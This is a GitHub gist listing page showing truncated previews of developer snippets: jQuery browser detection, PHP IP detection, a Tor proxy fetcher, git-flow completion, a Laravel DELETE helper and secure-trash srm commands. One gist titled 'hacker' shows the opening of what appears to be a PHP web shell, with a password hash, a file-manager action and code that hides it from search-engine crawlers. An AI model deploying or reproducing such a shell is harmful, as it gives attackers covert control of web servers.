Skip to content

Instantly share code, notes, and snippets.

View irazasyed's full-sized avatar
🎯
WIP

Irfaq Syed irazasyed

🎯
WIP
View GitHub Profile
@irazasyed
irazasyed / browser detect
Created November 21, 2012 17:42 — forked from sanooj/browser detect
jQuery: Browser Detect for html
$(document).ready(function()
{
if ( $.browser.msie ){
if($.browser.version == '6.0')
{ $('html').addClass('ie6');
}
else if($.browser.version == '7.0')
{ $('html').addClass('ie7');
}
else if($.browser.version == '8.0')
var getGooglAuthToken = function(b){
var c = function(){
for (var l=0, m=0, ml=arguments.length; m<ml; m++) l = l + arguments[m] & 4294967295;
return l;
}
var d = function(l){
l = String(l > 0 ? l : l + 4294967296);
var m = l;
for (var o=0, n=false, p=m.length-1; p>=0; --p){
var q = Number(m.charAt(p));
##
# Command to empty Trash with 35-pass security method. This is the most secure deletion,
# so you will not be able to recover any file deleted with this method.
# Replace <MAC_USER> with your Mac username.
##
srm -rfv /Users/<MAC_USER>/.Trash/*
##
# Command to empty Trash with 7-pass security method that meets the
# Git Flow completion
complete -F _git_flow gf
complete -F __git_flow_feature feature
complete -F __git_flow_release release
complete -F __git_flow_hotfix hotfix
<?php
function get_ip_address() {
$ip_keys = array('HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR');
foreach ($ip_keys as $key) {
if (array_key_exists($key, $_SERVER) === true) {
foreach (explode(',', $_SERVER[$key]) as $ip) {
// trim for safety measures
$ip = trim($ip);
// attempt to validate IP
if (validate_ip($ip)) {
<?php
class Fetcher
{
private $_torIp = '127.0.0.1';
private $_torProxyPort = '8118';
protected function _request($url)

An Anonymous Pen

Simple pure JavaScript plugin to rotate text snippets as if they were being typed.

A Pen by Secret Sam on CodePen.

License.

@irazasyed
irazasyed / hacker
Created November 7, 2013 07:58 — forked from anonymous/hacker
<?php
$auth_pass = "63a9f0ea7bb98050796b649e85481845";
$color = "#df5";
$default_action = 'FilesMan';
$default_use_ajax = true;
$default_charset = 'Windows-1251';
#+Dump Columns ////Boolean
if(!empty($_SERVER['HTTP_USER_AGENT'])) {
$userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
@irazasyed
irazasyed / laravel.js
Last active July 26, 2020 03:28 — forked from JeffreyWay/laravel.js
jQuery: Laravel 4. Want to send a DELETE request when outside of a form? This will handle the form-creation bits for you dynamically, similar to the Rails implementation. (Requires jQuery, but doesn't have to.) To use, import script, and create a link with the `data-method="DELETE"` attribute.
/*
<a href="posts/2" data-method="delete"> <---- We want to send an HTTP DELETE request
- Or, request confirmation in the process -
<a href="posts/2" data-method="delete" data-confirm="Are you sure?">
Requires you to have a meta tag with CSRF Token:
<meta name="csrf-token" content="{{ csrf_token() }}">
*/

This is my script for handling unsolicited sales calls. I can tell by the caller id as they usually come in on our second (unpublished) phone number.

Tips

  • _for best effect… leave off ‘Thank’ to make it sound like the tape already started…

The Script

Thank you for calling Planet Argon. If you know your party’s extension, please say or enter it followed by the pound key.